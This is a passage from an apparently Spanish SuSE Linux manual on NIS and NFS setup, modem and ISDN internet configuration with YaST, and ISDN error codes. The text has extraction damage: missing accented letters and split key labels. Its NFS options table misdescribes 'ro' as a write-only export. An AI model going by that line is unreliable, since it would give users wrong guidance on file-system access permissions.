transparente para el usuario, da igual en la computadora que trabaje, siempre
debe encontrar el mismo entorno, lo que se consigue mediante los servicios
NIS y NFS; el ltimo sirve para la distribucin de sistemas de ficheros en la
red y se describe en el apartado 6.5, Pgina 159.
NIS (ingl. Network Information Service)2 se puede entender como un servicio
de banco de datos que da acceso a los ficheros /etc/passwd, /etc/shadow
o /etc/group en toda la red. NIS puede prestar tambin servicios adi-
cionales, p. ej. para /etc/hosts o /etc/services, pero estos no son objeto
de discusin aqu.

6.4.2 Configuracin de un cliente NIS


El paquete ypclient, serie n de SuSE Linux, contiene todos los programas
necesarios para la configuracin de un cliente NIS. Esta precisa de los sigu-
ientes pasos:
 Definicin del dominio NIS en el arranque del sistema.
Para ello hace falta configurar la variable YP_DOMAINNAME. El programa
/sbin/init.d/network contempla esta variable cuando entra en un
nivel de ejecucin que usa la red y define el dominio de NIS como se
ha indicado ya.
2 Muchas veces se usa como sinnimo para NIS la letras `YP'; stas se derivan de las yellow

pages, o sea las pginas amarillas en la red.

157
6. Linux en la red

No confunda el nombre de dominio NIS con el del dominio DNS . Estos


pueden ser iguales pero no tienen nada que ver el uno con el otro!
 Definicin del servidor NIS.
El nombre del servidor NIS se define en /etc/rc.config con la variable
YP_SERVER. SuSEconfig escribe los nombres en el formato correcto al
fichero /etc/yp.conf (ver Fichero 6.4.1, Pgina 158), lo cual funciona
automticamente cuando ha usado YaST para la definicin de la variable.
Este fichero debe contener una lnea que comience con la palabra clave
ypserver y que contenga el nombre del servidor NIS.

# /etc/yp.conf
#
# Syntax:
#
# ypserver <servername> Define which host to contact
# for YP service.
#
ypserver sol.cosmos.univ
# End of /etc/yp.conf

Fichero 6.4.1: /etc/yp.conf

 Es necesario que se pueda resolver el nombre del servidor NIS (p. ej.
sol.cosmos.univ) con /etc/hosts.
 Hay que asegurarse de que se inicia el RPC-Portmapper.
El funcionamiento de NIS se realiza a travs de RPC (ingl. Remote Pro-
cedure Calls), por eso es necesario que el RPC-Portmapper est iniciado.
El script /sbin/init.d/rpc arranca este servidor lo que se resuelve au-
tomticamente si se lo ha pedido en /etc/rc.config.
 Suplementos a las entradas en /etc/passwd y /etc/group.
Los ficheros en cuestin deben llevar una lnea suplementaria que
comience con el smbolo `+', para que la computadora pase una so-
licitud al servidor NIS despus de haber buscado en los ficheros locales.
NIS permite activar aqu muchas opciones adicionales, p. ej. Netgroups o
la supresin de entradas NIS locales.
 Inicio de ypbind.
El ltimo paso en la configuracin del cliente NIS es el inicio del pro-
grama ypbind, que representa el verdadero arranque del cliente NIS. Este
programa tambin se inicia automticamente si la configuracin fue hecha
con YaST.
 Activacin de los cambios.
Se arranca la computadora de nuevo, o bien, se inician nuevamente los
servicios necesarios con los comandos:
tierra:~ # rcnetwork restart
tierra:~ # rcypclient restart
neu gestartet.

158
6.5. NFS sistemas de ficheros distribuidos

6.4.3 Servidor NIS-Master y Slave


Se debe instalar el paquete ypserv, serie n; el procedimiento exacto se expli-
ca en /usr/doc/packages/yp/HOWTO.

6.5 NFS sistemas de ficheros distribuidos


Como ya se ha mencionado en el apartado 6.4, Pgina 157, el servicio NFS
sirve, junto con el servicio NIS, para hacer una red transparente al usuario.
NFS consiente la distribucin de sistemas de fichero en la red, lo que permite
al usuario, encontrar siempre el mismo entorno independientemente de la
computadora en la que trabaje.
Al igual que NIS, NFS es un servicio asimtrico de estructura cliente-
servidor, pero a diferencia de ste, NFS puede ofrecer sistemas de fichero a
la red (exportar) y a su vez montar los de otras computadoras (importar).
Normalmente son solo los servidores los que exportan sistemas de ficheros,
ya que son estos los que tienen alta capacidad de almacenamiento de datos.

6.5.1 Importar sistemas de ficheros


Importar sistemas de ficheros desde un servidor NFS es muy simple y tiene
como nica condicin el inicio del RPC-Portmapper . La manera de iniciar
este servidor ya se explic en el contexto de NIS (ver apartado 6.4.2, Pgi-
na 158). De este modo es posible incorporar sistemas de ficheros externos al
sistema de ficheros local, anlogamente a la incorporacin de discos locales,
usando el comando mount; el sistema de ficheros externo a montar debe ser
exportado debidamente por la mquina servidora. La sintaxis de mount es la
siguiente:
mount -t nfs < computadora>:<path remota> <path local>
Se pueden importar p. ej. los directorios de usuario de la computadora sol
con el siguiente comando:
tierra:~ # mount -t nfs sol:/home /home

6.5.2 Exportar sistemas de ficheros


Una computadora que exporta sistemas de ficheros se denomina servidor
NFS. Este debe tener los siguientes servicios activados (en ejecucin):
 RPC-Portmapper (portmap)
 RPC-Mount-Daemon (rpc.mountd)
 RPC-NFS-Daemon (rpc.nfsd)
Los scripts /sbin/init.d/rpc y /sbin/init.d/nfsserver inician los daemons
cuando la computadora arranca. El inicio del RPC-Portmapper ya se explic
en el apartado 6.4.2, Pgina 158.
Aparte de iniciar estos daemons es preciso definir cules sistemas de ficheros
se deben exportar a cules computadoras. Esto se realiza con el fichero /etc/
exports.
Por cada directorio a exportar se necesita una lnea que constate cul com-
putadora debe acceder a l y de qu forma; los sub-directorios se exportan

159
6. Linux en la red

automticamente. Las computadoras con permiso de acceso se indican gen-


eralmente por sus nombres (con el nombre del dominio incluido). Tambin
puede usar los comodines `*' y `?' con sus funciones conocidas de la shell
bash. Si no se indica ningn nombre, cada computadora tiene la posibilidad
de montar el directorio con los derechos de acceso indicados para el mismo.
Los derechos de exportacin del directorio se indican en parntesis en una
lista detrs del nombre de computadora. La siguiente tabla resume las op-
ciones de acceso ms importantes.

ro Exportacin solo con derecho de escritura (por defec-


to).
rw Exportacin con derecho de escritura y lectura.
root_squash Esta opcin hace que el usuario `root' de la com-
putadora indicada, no tenga sobre el directorio, los
derechos especiales tpicos para `root'. Esto se
logra modificando los accesos con el identificati-
vo de usuario (ingl. User-ID) 0 al de 65534 (-2).
Este identificativo debe estar asignado al usuario
`nobody' (es as por defecto).
no_root_squash Ninguna modificacin de los derechos de `root'.
link_relative Modificacin de enlaces simblicos absolutos (aque-
llos que comienzan con `/') a una secuencia de
`../'. Esta opcin solo tiene sentido si se monta el
sistema de ficheros completo de una computadora (es
as por defecto).
link_absolute No se modifican los enlaces simblicos.
map_identity El cliente usa los mismos identificativos (ingl. User-
ID) que el servidor (es as por defecto).
map_daemon Los identificativos de usuario, de cliente y servidor, no
coinciden. Con esta opcin el nfsd genera una tabla
para la conversin de los identificativos de usuario. El
requisito para ello es la activacin del daemon ugidd.

Tabla 6.6: Derechos de acceso a directorios exportados

El Fichero 6.5.1, Pgina 161 muestra un ejemplo de un fichero exports.


Los programas mountd y nfsd leen el fichero /etc/exports. Despus de
haberlo modificado, es preciso reiniciar mountd y nfsd para que los cambios
se activen. Lo ms simple para conseguirlo es la introduccin del comando:
tierra:~ # rcnfsserver restart

160
6.5. NFS sistemas de ficheros distribuidos

#
# /etc/exports
#
/home sol(rw) venus(rw)
/usr/X11 sol(ro) venus(ro)
/usr/lib/texmf sol(ro) venus(rw)
/ tierra(ro,root_squash)
/home/ftp (ro)
# End of exports

Fichero 6.5.1: /etc/exports

161
6. Linux en la red

162
Captulo 7
Conectarse con el mundo RDSI,
PPP, Fax : : :

No solo interesa conectarse a una red de rea local, sino tambin a una red
grande y distribuida (WAN (ingl. Wide Area Networks)) lo que permite p. ej.
el uso de buzones de correo electrnico.
En el mundo de Unix se impusieron dos estndares para la conexin a redes
grandes, UUCP y TCP/IP va modem o RDSI. Mientras que se usa UUCP
(Unix to Unix CoPy) sobre todo para el transporte de News (noticias de
Internet) y de E-Mail , la conexin va TCP/IP representa una conexin de
red real, que ofrece todos los servicios de una LAN, que tambin est basado
en TCP/IP.
Hoy en da PPP (Point to Point Protocol) 1 es el protocolo preferido para usar
TCP/IP en una conexin va modem o va tarjeta RDSI. En conexiones RDSI
se utiliza generalmente syncPPP y algunas veces rawip (ver apartado 7.2.5).
El tema de los siguientes apartados trata sobre la configuracin de una conex-
in de WAN. Se explica cmo conectar un modem y cmo configurar una
conexin y un servidor PPP. Aparte de esto, se comenta la conexin de E-
Mail, configuracin del sistema de noticias y la posibilidad de enviar y recibir
Fax.

7.1 Conexin de modem


La conexin de un modem a la computadora se efecta igual que en otros
sistemas operativos, ya sea mediante un cable de puerto serie o bien introdi-
cindolo en una ranura libre dentro de la computadora (modem interno). El
nmero o nombre de puerto al cual est conectado el modem se indica en
YaST (ver apartado 3.7.1, Pgina 90 y apartado 17.6, Pgina 388). YaST
genera un enlace de /dev/modem al puerto de conexin, as que se puede
acceder siempre a l a travs de /dev/modem independientemente del puerto
de conexin real (p. ej. /dev/ttyS0).
Los programas de terminal normales que se pueden usar son p. ej. minicom
o, bajo el Sistema X Window, seyon.

1 SLIP (Serial Line Internet Protocol) cada vez pasa ms de moda.

163
7. Conectarse con el mundo RDSI, PPP, Fax : : :

Minicom
Minicom es un programa de emulacin de terminal de uso fcil, cuyo manejo
es parecido al del programa DOS Telix.
Todos los usuarios que quieren usar minicom deben estar anotados en el
fichero /etc/minicom.users. All se define cules usuarios tienen derecho
de acceso a cul modem y con cul configuracin.
La configuracin de Minicom se efecta inicindolo como `root' con:
tierra:/ # minicom -s
Los ajustes necesarios para su uso no se diferencian de otros sistemas opera-
tivos y son auto-explicativos.

La combinacin de teclas Ctrl 


  
-L 
no funciona en un xterm o en rxvt, sin
embargo, funciona en kvt o en una consola de texto.

7.2 Acceso Internet va RDSI - la configuracin


Aparte de las conexiones de red ordinarias, Linux puede tambin estable-
cer y administrar conexiones con otras computadoras (p. ej. con proveedores
de Internet) va RDSI. Adems es muy fcil configurarlo, porque YaST se
encarga de una buena parte de ello.
La descripcin expuesta a continuacin, contempla una conexin estndar
con otra computadora va RDSI. Evidentemente es posible hacer mucho ms
que esto con RDSI bajo Linux.
Considere la posibilidad de que los procedimientos expuestos no sean per-
mitidos segn las leyes de telecomunicacin de su pas. Este puede ser el
caso para tarjetas RDSI pasivas cuya autorizacin est vinculada al uso en
conjunto con el software del fabricante. Las tarjetas del fabricante ELSA
representan una excepcin, ya que se pueden usar tambin bajo Linux. Las
tarjetas activas se autorizan junto con el firmware (el software que contiene la
placa en ROM), lo que las autoriza automticamente para el uso bajo Linux.
Si necesita esta autorizacin tendr que usar una tarjeta activa o una pasiva
conectada a una centralita.
En comparacin a una conexin con modem, no hace falta iniciar la comuni-
cacin con ningn comando especial. Cuando la red est activa, la conexin
a la contraparte se inicia con una actividad normal como telnet, http WWW,
ftp etc.; en tal caso la computadora llama y la conexin se establece; el pro-
ceso dura alrededor de 3 segundos. As otros usuarios aparte del superusuario
`root', pueden establecer la comunicacin, la cual termina automticamente
despus de un cierto tiempo de inactividad, configurable por parte del usuario.
Durante toda la configuracin de RDSI se aconseja seguir los mensajes de
sistema en el fichero /var/log/messages. Para ello dirjase a un xterm
  
(en KDE: Alt + F2 y despus introduzca xterm) o cualquier otra consola
virtual y cargue el fichero xterm en el Viewer less 2 :
tierra: # less +F /var/log/messages
2 Las instrucciones sobre less se encuentran en el apartado 19.7.3, Pgina 418

164
7.2. Acceso Internet va RDSI - la configuracin

Con la opcin +F la pantalla muestra cada nueva lnea que se aade al fichero
 + c .
en lnea. Para salir se utiliza la combinacin de teclas Ctrl  
Con xisdnload es posible visualizar y as controlar el trfico RDSI.

7.2.1 Configurar RDSI - paso por paso


Este apartado explica paso a paso la forma de configurar el acceso a Internet.
Si este procedimiento no funcionara o si fueran necesarios ms detalles sobre
el tema, se pueden consultar los apartados que figuran a continuacin de ste.
1. Inicie el programa YaST como usuario `root' si se encuentra en el
 + F2 e introduzca despus xterm. En la nueva
entorno KDE: pulse Alt  
ventana se puede iniciar YaST.
2. Seleccione `Administracin del sistema', `Instalar hardware
en el sistema' y despus `Configurar hardware RDSI'.
3. Rellene todos los campos en el formulario. Si no sabe exactamente qu
escribir, consulte la documentacin en /usr/doc/packages/i4l y en
los apartados siguientes.
4. En la misma ventana seleccione `Iniciar'.
5. Si tiene xito (en pantalla aparece una confirmacin), seleccione
Parmetero RDSI.
6. Rellene tambin el formulario que aparece ahora.
7. Despus seleccione `Iniciar' en la ventana.
8. Si tiene xito (en pantalla aparece una confirmacin), seleccione
`Guardar'.
9. Seleccione el men `Configuracin de red', `Configuracin
bsica de red'

10. Debe generar un nuevo dispositivo (con F5 
 , para llegar al men) del
Pulse `RETURN' o F6 
tipo wertISDN SyncPPP.
`Introduzca direccin
de red'.
11. Mantenga los ajustes tal como estn la direccin IP de la mquina
local es 192.168.0.99, la direccin IP del compaero punto a pun-
to (contraparte) es 192.168.0.1 y solo modifique la IP del gateway
(pasarela), indicando la misma IP como IP del compaero punto a punto
(192.168.0.1).
12. Contine la configuracin con `Continuar'.
13. Active la tarjeta en el formulario `Seleccin de red' con F4 
 .
 .
14. Guarde todo con F10 
15. Seleccione `Configuracin DNS', y afirme la pregunta con `S'.
16. Introduzca la direccin IP del servidor de nombres (DNS) de su provee-
dor. Si no la conoce consulte el proveedor o tal vez la pueda encontrar en
la pgina web del mismo.
17. Termine YaST e introduzca init 1 en la ventana del terminal. Si KDE
(y las X) estn en ejecucin, el entorno grfico se cierra.
18. Entre al sistema como superusuario `root'.
19. Si usa startx para iniciar X, entonces inicie los servicios de red con
init 2. Si por el contrario tiene un login grfico activado, use init 3.

165
7. Conectarse con el mundo RDSI, PPP, Fax : : :

20. Ya puede iniciar p. ej. Netscape para navegar en Internet. Tambin puede
iniciar xisdnload para monotorizar el estado de la conexin.
21. En el caso de algunos ISP es preciso indicar en Netscape el servidor Proxy
del proveedor:
En Netscape `Edit', `Preferences', `Advanced', `Proxies',
`Manual Proxy Configuration' y despus `View'.
Ahora el acceso va RDSI debera funcionar y establecer as una conexin a
Internet cada vez que se indique, p. ej. en Netscape, una direccin de Inter-
net. El acceso finaliza transcurridos 60 segundos sin transferencia de ningn
paquete de datos; controle el trfico de red con xisdnload!
Si este procedimiento no funcionara, contine leyendo!

7.2.2 Introduccin
SuSE Linux contiene el paquete isdn4linux, un paquete de programas com-
puesto por un driver, una interfaz de red y una emulacin de modem (solo
modem digital). Adems se incluye software p. ej. para un contestador de
telfono.
El script /sbin/init.d/i4l_hardware carga el driver del hardware de la
tarjeta RDSI (ver Captulo 17).
La herramienta isdnctrl (Manpage de isdnctrl (man isdnctrl)) se en-
carga de configurar la conexin RDSI. Los comandos ifconfig (Manpage
de ifconfig (man ifconfig)) y route (Manpage de route (man route))
permiten configurar las interfaces de red disponibles, al igual que las de una
interfaz tipo Ethernet. En el caso de SuSE Linux el que se encarga de ello es
el script /sbin/init.d/i4l, (ver Captulo 17).
La base de esta configuracin la forman los parmetros anotados en /etc/
rc.config y la denominacin de las variables apuntadas all, se orienta
segn lo posible, a la de las opciones de isdnctrl.
El script /sbin/init.d/route se encarga de configurar el routing de
acuerdo a los valores apuntados en /etc/route.conf.
La conexin se establece segn necesidad con los parmetros que se han
definido en isdnctrl, /sbin/init.d/i4l y /etc/rc.config. Estos se
pueden visualizar con:
tierra: # isdnctrl list all
Segn necesidad quiere decir que, una de las rutas creadas accede a
la interfaz RDSI correspondiente. Cualquier usuario o cualquier aplicacin
puede realizarlo.

7.2.3 Configuracin del hardware RDSI

Requisitos
Para establecer una conexin RDSI con SuSE Linux, se necesita lo siguiente:
1. una lnea RDSI
2. una tarjeta RDSI soportada

166
7.2. Acceso Internet va RDSI - la configuracin

3. SuSE Linux instalado en su computadora


4. el kernel estndar del CD SuSE Linux instalado

No hace falta que genere ningn kernel propio, sin embargo, si lo quiere
hacer, utilice para ello las fuentes del paquete lx_suse, serie d!

5. el paquete kernmod, serie a


6. el paquete i4l, serie n
7. para documentacin adicional es aconsejable que instale tambin el pa-
quete i4ldoc, serie doc
Los datos que necesita para la instalacin:
 Tipo de tarjeta RDSI
 Configuracin de la tarjeta: IRQ, Direccin de puerto, etc. (segn el tipo)
 El protocolo de RDSI, que puede utilizar:
1TR6: RDSI nacional (antiguo)
DSS1: Euro-RDSI

Al contrario de lo que puede figurar en la documentacin, muchas central-


itas usan 1TR6 en lugar de DSS1.

Que significa el MSN/EAZ?


En caso del Euro-RDSI, el nmero MSN (Multiple-Subscribe-Number) es el
nmero de telfono sin el prefijo. Pidiendo una lnea privada nueva, gen-
eralmente le asignan tres nmeros independientes. Puede elegir cualquiera
de estos nmeros para la conexin RDSI de datos, aunque tambin ya est
usando el mismo MSN para una conexin telefnica. Esto funciona porque
mediante el reconocimiento del servicio RDSI se puede detectar el tipo de
conexin.
La tarjeta RDSI est tpicamente conectada a un NTBA, pero tambin tiene
sentido poner a disposicin un bus adicional tipo S0 a travs de una centralita.
Usando Euro-RDSI con una centralita, el MSN es (generalmente) solo la
extensin de la centralita.
1TR6 usa en lugar del nmero MSN un EAZ (en alemn: Endgerte-
Auswahl-Ziffer = nmero de seleccin del aparato final) El EAZ es un
nmero cualquiera, elegible entre 1 y 7. No use nunca el 0!

7.2.4 Configuracin del hardware RDSI con YaST


No hace falta reiniciar la computadora para cargar el driver de la tarjeta RDSI,
ya que ste se proporciona por un mdulo de kernel. El driver HiSax soporta
todas las tarjetas RDSI estndar.
Hay un par de tarjetas, como p. ej. la de ICN o la de AVM-B1 tal como las
que son PnP (ingl. Plug and Play), que necesitan un tratamiento especial y
(an) no pueden ser configuradas con YaST. Para configurarlas consulte la
seccin correspondiente ms abajo.
Proceda paso por paso:

167
7. Conectarse con el mundo RDSI, PPP, Fax : : :

1. Entre al sistema como usuario `root'


2. Inicie YaST
3. Seleccione el men `Administracin del sistema', `Instalar
hardware en el sistema', `Configurar hardware RDSI'. Esta
estructura de men se ve en Figura 7.1.

Figura 7.1: Estructura de men para la configuracin RDSI con YaST

4. Introduzca los siguientes parmetros al formulario:


 Iniciar I4L
La RDSI solo se activa si este campo est marcado con un asterisco.
As puede habilitar y deshabilitar la posibilidad de establecer conex-
iones va RDSI.
 Protocolo RDSI
Seleccione entre el anticuado tipo RDSI 1TR6 (de uso en Alemania) o
el nuevo EDSS1, usual hoy en da. Tenga en cuenta que se sigue usan-
do muchas veces 1TR6 cuando se conecta a travs de una centralita.
 Tipo de tarjeta RDSI
Seleccione la tarjeta soportada por el driver HiSax. En caso de tarje-
tas PnP o PCMCIA, consulte el fichero /usr/doc/packages/i4l/
README.SuSE tal como el apartado 11.2, Pgina 269.
 Identificacin de tarjeta
Dejarlo en el valor HiSax.
 Interrupcin
Direccin de memoria base
Puerto IO
Valor IO0
Valor IO1
Segn el tipo de tarjeta seleccionada, se pueden necesitar indicaciones
adicionales y solo se pueden tomar aquellas que corresponden a la
tarjeta escogida, las dems se ignoran.

168
7.2. Acceso Internet va RDSI - la configuracin

 Opciones del mdulo RDSI


Dejar este campo vaco.

Pulse F1 se consigue informacin adicional. La pantalla de configu-
racin de RDSI se ve en Figura 7.2.

Figura 7.2: Cuadro de dilogo para la configuracin RDSI con YaST

5. Seleccione `Iniciar'.
Por qu?: El mdulo se carga en modo de prueba y la ventana indica si
la tarjeta fue reconocida correctamente.

Si est BIEN: Seleccione el botn `Guardar'.


La configuracin se guarda en los ficheros /etc/rc.config.d/i4l_
*, as que puede activarla nuevamente despus del prximo arranque
o cambio de nivel de ejecucin. Despus de esta prueba el mdulo se
mantiene cargado.
Si esta MAL: Pruebe otros parmetros y vigile los cambios en el fichero
/var/log/messages.
Los problemas tpicos son:
 Algunas placas madre no permiten usar las interrupciones IRQ 12 o
15.
 Las direcciones de memoria o las interrupciones ya estn ocupadas
por otras tarjetas. Quite todas las tarjetas que no necesite por el
momento (p. ej. tarjetas de sonido o de red).
 El mdulo ya est cargado. Cambie a otra consola e introduzca el
siguiente comando para descargar el mdulo:
tierra: # rmmod hisax

 Su tarjeta es del tipo PnP; en este caso consulte el fichero /usr/


doc/packages/i4l/README.SuSE

169
7. Conectarse con el mundo RDSI, PPP, Fax : : :

 El driver HiSax no soporta su tarjeta, que puede ser p. ej. del


tipo ICN o AVM-B1. En tal caso consulte el fichero /usr/doc/
packages/i4l/README.SuSE.
6. Salga de YaST.
7. Configuracin de isdnlog
Antes de cargar los mdulos es recomendable configurar isdnlog, que
se encarga de protocolar todas las actividades en el S0-bus.
Adapte los siguientes ficheros a sus necesidades:
 /etc/isdn/isdn.conf:
El primer prrafo especifica el pas donde va a usar isdn4linux. Para
Espaa se definen los valores como se ha expuesto en el Fichero 7.2.1,
Pgina 170 (numeracin antigua con prefijos).

# /etc/isdn/isdn.conf

[GLOBAL]
COUNTRYPREFIX = +
COUNTRYCODE = 34
AREAPREFIX = 9

Fichero 7.2.1: Extracto de /etc/isdn/isdn.conf

El prrafo GLOBAL contiene tambin el AREACODE (prefijo) sin


el nmero 9 por delante. Si su prefijo es p. ej. 93, coloque
AREACODE = 3.
Esta es la nica parte que se debe adaptar (en Espaa).
Con CHARGEMAX = 20.00 se puede determinar el gasto telefnico
mximo en un da, en marcos alemanes. Esto protege de conexiones
no deseadas, pero mejor no fiarse de esta caracterstica automtica!
 /etc/isdn/callerid.conf:
Aqu puede apuntar todos los nmeros de telfono conocidos. El
fichero /var/log/messages y el comando isdnrep le indican en-
tonces los nombres en lugar de los nmeros de telfono. Djese guiar
por el ejemplo en el Fichero 7.2.2, Pgina 171; su nmero es 4711 y
la de su proveedor 4712.
 /etc/isdn/isdnlog.isdnctrl0.options:
Este fichero contiene las opciones para el comando isdnlog. Gen-
eralmente no se necesitan.
8. Para reiniciar los servicios de red (entre otros), se introducen los coman-
dos
tierra: # init 1
tierra: # init 2

o se activa nuevamente RDSI con YaST (tambin se puede reiniciar la


computadora).

170
7.2. Acceso Internet va RDSI - la configuracin

# /etc/isdn/callerid.conf

[MSN]
NUMBER = 4711
SI = 1
ALIAS = yo
ZONE = 1

[MSN]
NUMBER = 4712
SI = 1
ALIAS = proveedor
ZONE = 1
Fichero 7.2.2: /etc/isdn/callerid.conf

7.2.5 Configuracin de acceso a Internet va RDSI

Configuracin RDSI para el acceso al proveedor

La seleccin del protocolo


Para el acceso va RDSI existen tres protocolos importantes:

 syncPPP
 rawip-HDLC
 Login de terminal con X.75

Normalmente los proveedores de Internet ofrecen syncPPP como protocolo,


as que lo mejor es configurar con ste mismo.

Requisitos
 La configuracin del hardware RDSI debe funcionar.
 El driver de RDSI debe estar cargado.
 Conocer el nmero MSN o EAZ que usa su lnea.
 Conocer el protocolo que usa su proveedor ( rawip o syncPPP).
 Conocer el nmero de telfono para realizar el acceso.
 Conocer el nombre de usuario y la contrasea de acceso.
 Conocer el servidor de nombres (DNS) del proveedor.

Si realmente se conocen todos los detalles mencionados arriba, se podr con-


figurar el acceso a Internet exitosamente.
La configuracin del hardware RDSI ha funcionado y el driver de RDSI est
cargado. Aparte de esto se debe conocer el nmero MSN o EAZ que usa la
lnea.
El ejemplo expuesto cubre solo el acceso con syncPPP. rawip es prctica-
mente lo mismo e incluso ms sencillo.
Seguiremos paso a paso:

171
7. Conectarse con el mundo RDSI, PPP, Fax : : :

Figura 7.3: Configuracin de red con YaST

1. Inicie YaST y entre al men `Administracin del sistema',


`Configuracin de red', `Configuracin bsica de red'.
Aparecer el formulario que se ve en la Figura 7.3.
2. Seleccione una lnea libre, p. ej. nmero 1.
 seleccione como dispositivo `ISDN SyncPPP'.
3. Pulsando F5 
 
4. Pulse F6 
(`IP') e introduzca:
 Direccin IP de la mquina: 192.168.0.99
 Direccin IP del Default-Gateways: 192.168.0.1 (pasarela por de-
fecto)
 IP de la contraparte punto a punto: 192.168.0.1
5. Seleccione `Continuar' para salir de la pantalla.
 , si no lo ha hecho ya.
6. Active la red con F4 

7. Pulse F8 (`ISDN' = RDSI) le permite indicar parmetros adicionales,
especficos de RDSI. La pantalla correspondiente se ve en la Figura 7.4.
Indique los siguientes valores:
 Su nmero de telfono (MSN)
p. ej. 123456
 Nmero a marcar: 012345678
Es el nmero que debe marcar la computadora. 012345678 es el
nmero del proveedor de Internet

Si utiliza una centralita es posible que tenga que marcar primero el 0

 Nmeros a los que se permite llamar:


Los nmeros de telfono autorizados a llamar. Solo se necesita para
servidores Dialin.

172
7.2. Acceso Internet va RDSI - la configuracin

Figura 7.4: Configuracin de los parmetros de red RDSI con YaST

 Solo se permiten nmeros indicados:


Afirme esta opcin para que nadie pueda establecer una conexin no
autorizada a su servidor.
 Modo de llamada: Activando la opcin auto se establece automti-
camente una conexin cuando se trata de acceder a direcciones que
solo pueden ser alcanzados a travs de la interfaz RDSI. Con la opcin
manual hay que establecer las conexiones a mano cuando sea preciso.
Con off se desactiva la posibilidad de conectar mediante esta interfaz
RDSI.
 Tiempo muerto:
El tiempo de inactividad de la lnea (no se transmiten paquetes IP) que
la computadora espera hasta que cuelga automticamente.
 Nombre del login PPP:
Introduzca el nombre de usuario para su proveedor.
 Password del login PPP:
Introduzca la contrasea para su proveedor. Cuando se escribe la con-
trasea, sta se muestra en pantalla con asteriscos y se guarda en el
fichero /etc/ppp/pap-secrets.

Puede obtener ms ayuda pulsando F1 .
8. Seleccione el botn `Iniciar'. La red se configura a modo de prueba y
se puede observar en la ventana si funciona. Generalmente en este paso
no se presentan problemas.
Si est BIEN: Seleccione el botn `Guardar'.
La configuracin se guarda en los ficheros /etc/rc.config.d/i4l_
* as que se puede activar nuevamente despus del prximo arranque o
cambio de nivel de ejecucin. Despus de esta prueba la configuracin
se mantiene.

173
7. Conectarse con el mundo RDSI, PPP, Fax : : :

Si esta MAL: Probablemente los mdulos RDSI no estn carga-


dos. Tambin se deben tener en cuenta los mensajes del fichero
/var/log/messages.
9. En YaST entre al men `Configuracin DNS' y afirme la primera pre-
gunta. Introduzca despus el nmero IP del servidor de nombres (DNS)
de su proveedor. Si no conoce este nmero tendr que consultar al provee-
dor. Otra posibilidad sera pedir a alguin, que ya tenga una mquina Lin-
ux conectada a Internet, que le informe sobre el resultado del siguiente
comando, introducido en una ventana de terminal (el ejemplo es de un
proveedor alemn):
whois t-online.de
Con esto se obtiene una respuesta que contiene, entre otras, las lneas que
figuran en el Fichero 7.2.3, Pgina 174.

domain: t-online.de
descr: Deutsche Telekom AG, Telekom Online-Dienste
descr: Generaldirektion, GK361
descr: Postfach 2000
descr: D-53105 Bonn
descr: Germany
admin-c: KHS252-RIPE
tech-c: JS691-RIPE
zone-c: FS340-RIPE
nserver: dns00.btx.dtag.de

Fichero 7.2.3: Resultado de: whois t-online.de


La lnea nserver: indica el servidor de nombres del proveedor. Si se
conoce este nombre, solo hara falta el nmero IP del mismo; para obten-
erlo use el comando:
host dns00.btx.dtag.de
Aparece entonces una respuesta como la siguiente:
dns00.btx.dtag.de has address 194.25.2.129
donde (194.25.2.129) es el nmero IP del servidor de nombres de T-
Online.
Si no puede establecer la conexin:
 Repase /var/log/messages en busca de mensajes sospechosos;
Los mensajes de estado del sistema RDSI (p. ej. E001f) se explican
ms adelante.
 Pruebe la coneccin va rawip.
 Tiene el nmero MSN/EAZ correcto?
 Ser que se debe marcar un 0 por delante?
El banco de datos de soporte tiene ms consejos; se encuentra en Internet,
en nuestro servidor web, bajo la URL http://www.suse.de/sdb/de/
html/ . Tambin puede acceder a l con la ayuda de SuSE (se inicia
con el comando susehelp o con la opcin correspondiente del men en
el Sistema X Window) directamente en su computadora, si el paquete
susehilf, serie doc y el paquete sdb_en, serie doc estan instalados.

174
7.2. Acceso Internet va RDSI - la configuracin

10. Si la conexin funciona (lo que esperamos), cambie otra vez a la consola
en la que se est ejecutando YaST, pulse el botn `Guardar' y finalice
YaST.

IP dinmico con syncPPP


Si las direcciones IP se asignan dinmicamente, las direcciones indicadas para
el rea privada solo sirven de relleno hasta el momento en que se establece la
conexin.

Informacin adicional
Para obtener ms informacin sobre la configuracin de una conexin de
prueba al servidor RDSI de SuSE y sobre la configuracin del sub-sistema
RDSI, consulte las siguientes fuentes:
 El fichero /usr/doc/packages/i4l/README.SuSE
 El banco de datos del soporte: http://www.suse.de/sdb/de/html/
 En el paquete i4ldoc (p. ej. el FAQ de RDSI en el fichero: /usr/doc/
packages/i4ldoc/i4l-faq)
 /usr/doc/inetcfg (paquete inetcfg)

7.2.6 Mensaje RDSI


Desafortunadamente los mensajes del tipo Cause (causa) que da el sub-
sistema RDSI son en ingls y no siempre muy claros, por lo tanto aqu le
ofrecemos la traduccin al castellano.
En mensaje de causa (error) tpico de HiSaX se compone de 2 partes,
location y cause code. En caso del Euro-RDSI, son 5 cifras del tipo
Exxyy, donde xx especifica el origen del mensaje de error (aqu no se ex-
plica), e yy que indica la causa del mensaje. HiSaX siempre indica un
valor hexadecimal. Hay determinados mensajes que no representan ningn
error, sino que forman parte del comportamiento normal de las conexiones
telefnicas (ocupado, conexin terminada por colgar).

175
7. Conectarse con el mundo RDSI, PPP, Fax : : :

A continuacin vienen las explicaciones de las distintas causas que producen


un mensaje (Causes)3 . Tenga en cuenta que HiSaX indica los valores en
hexadecimal.

Cause# dec/hex Descripcin

Grupo 0/1: Causas normales

#1 01 El nmero marcado es completo y puede ser interpre-


tado por la red, pero actualmente no se puede asignar
ningn abonado.
#2 02 El dispositivo que genera el error no reconoce la red
de trnsito. Esto puede ocurrir porque la red de trn-
sito deseada no existe o porque no acepta el servicio
solicitado.
#3 03 No se encontr ninguna ruta hacia el abonado ya que
ste probablemente no esta dado de alta en la red
elegida sino en otra.
#6 06 El abonado llamado no puede utilizar el canal solici-
tado.
#7 07 El abonado llamado rechaz la llamada, ya que el
canal solicitado estaba ocupado (canal virtual, X.31
o X.25).
#16 10 Uno de los abondados que paticipan en la llamada ha
colgado.
#17 11 El abonado llamado est comunicando y no puede
responder a una llamada adicional.
#18 12 La llamado entr, pero la solicitud de establecimien-
to de llamada SETUP no se concedi dentro del
tiempo previsto.
#19 13 Aunque el aparato del abonado recibe la llamada, el
abonado no la contesta; p. ej. el telfono suena en una
casa vaca.
#21 15 El abonado llamado rechaz explcitamente la llama-
da.
#22 16 La central telefnica del destino puede enviar este
mensaje cuando el nmero del abonado ha cambiado.
#26 1A No fue posible indicar la llamada al abonado .
#27 1B La interfaz del abonado llamado est fuera se servi-
